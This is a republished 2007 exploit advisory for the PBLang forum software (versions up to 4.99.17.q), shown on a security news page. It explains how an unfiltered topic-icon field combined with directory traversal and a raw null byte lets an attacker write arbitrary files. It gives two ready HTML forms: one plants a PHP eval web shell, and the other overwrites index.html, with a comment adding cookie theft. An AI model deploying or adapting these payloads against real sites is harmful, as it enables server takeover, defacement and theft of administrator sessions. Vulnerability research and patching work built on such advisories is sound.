首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PBLang <= 4.99.17.q Remote File Rewriting / Command Execution
来源:Http://www.inj3ct-it.org 作者:KiNgOfThEwOrLd 发布时间:2007-11-26  
---------------------------------------------------------------
____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
|   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
|   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
|___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                        
---------------------------------------------------------------

Http://www.inj3ct-it.org      Staff[at]inj3ct-it[dot]org

---------------------------------------------------------------

PBLang <= 4.99.17.q Remote File Rewriting / Remote Command Execution

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC:

PBLang is a flat forum, it doesn't need any database. When we write a new
topic, all the topics informations will be saved in a file located in
"\db\posts" (a not readeable directory). It looks like a php file, in fact the
informations will be saved in this way:

<?php

$psubject="[subject]";
$pcontent="[contenet]";
$pauthor="[author]";
$pdate="[date]";
$plastdate="";
$pimage="[icon]";
$plastreply="0";
$plastauthor="";
$preplies="0";
$pviews="0";
$pnotify="";
$plock="";
$pip="";
$pvisitors="";
$psticky="";
$plockview="";

?>

The "subject" and the "contenent" values is "htmlentitiesed", so we can't type
a malicious code there...but the "image" value is not filtred, so we can
execute a malicious code!
Don't worry if the directory is not readable, using the directory traversl
variable we can make a file where we want, and so we can read that! The file
name will be the "fid" value that we send via POST, and the file wont have any
estension, it will be like: fid_1 (or something like that). Then, editing the
cid value like: "evilfile.php\0", we can make a malicious file.

Ps. u gotta use nullbyte not encoded, like: \0
if u try to use %00 it will be not considered like nullbyte  ;)

---------------------------------------------------------------
Remote Command Execution Exploit (Works only whit Magic Quotes OFF):

<!-- This code will make "31337.php" in http://[target]/[pblang_path], u can
execute a malicious code via GET as 31337.php?php=[YOUR_CODE] -->
<form action='[target]/ntopic.php?idnum=[idtopic]' name='postmodify'
enctype='multipart/form-data' method='POST'  onSubmit='submitonce
(this);'target='_self'>
<input type='text' name='subject' value='Owned by KiNgOfThEwOrLd's Exploit'>
<input type='hidden' name='fid' value='../../../../31337.php\0'>
<input type='hidden' name='cat' value='2' size=40>
<input type='radio' name='topicicon' value='"; <?php eval(stripslashes($_GET
[php])); ?>' CHECKED>
<textarea name='message' rows='12' cols='60' onselect='storeCaret(this)'
onclick='storeCaret(this)' onkeyup='storeCaret(this)'>VISIT Http://www.inj3ct-
it.org</textarea>
<input type='hidden' name='gueststatus' value=''>
<input type='checkbox' name='EMNotify'>
<input type='submit' name='Submit' value='Own!'>
</form>
---------------------------------------------------------------
Index Rewriting Exploit

<!-- This code will rewrite or make "index.html" in http://[target]/
[pblang_path] -->
<form action='[target]/ntopic.php?idnum=[idtopic]' name='postmodify'
enctype='multipart/form-data' method='POST'  onSubmit='submitonce
(this);'target='_self'>
<input type='text' name='subject' value='Owned by KiNgOfThEwOrLd's Exploit'>
<input type='hidden' name='fid' value='../../../../index.html\0'>
<input type='hidden' name='cat' value='2' size=40>
<input type='radio' name='topicicon' value='"; [YOUR HTML CODE]' CHECKED>
<textarea name='message' rows='12' cols='60' onselect='storeCaret(this)'
onclick='storeCaret(this)' onkeyup='storeCaret(this)'>VISIT Http://www.inj3ct-
it.org</textarea>
<input type='hidden' name='gueststatus' value=''>
<input type='checkbox' name='EMNotify'>
<input type='submit' name='Submit' value='Own!'>
</form>
<!-- You can also use this one to steal the admin's cookies, or execute some
arbitrary operations  ;)  -->
---------------------------------------------------------------

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple Quicktime 7.2/7.3 (RSTP
·Apple QuickTime 7.3 RTSP Respo
·PHPKIT 1.6.4pl1 article.php Re
·RunCMS <= 1.6 disclaimer.php R
·VigileCMS <= 1.8 Stealth Remot
·Softbiz Freelancers Script v.1
·Sciurus Hosting Panel Remote C
·IceBB 1.0-rc6 Remote Database
·Apple Mac OS X 10.4.x Kernel i
·迅雷5又(这次怎么多了一个又字
·DeluxeBB <= 1.09 Remote Admin
·Microsoft Internet Explorer TI
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved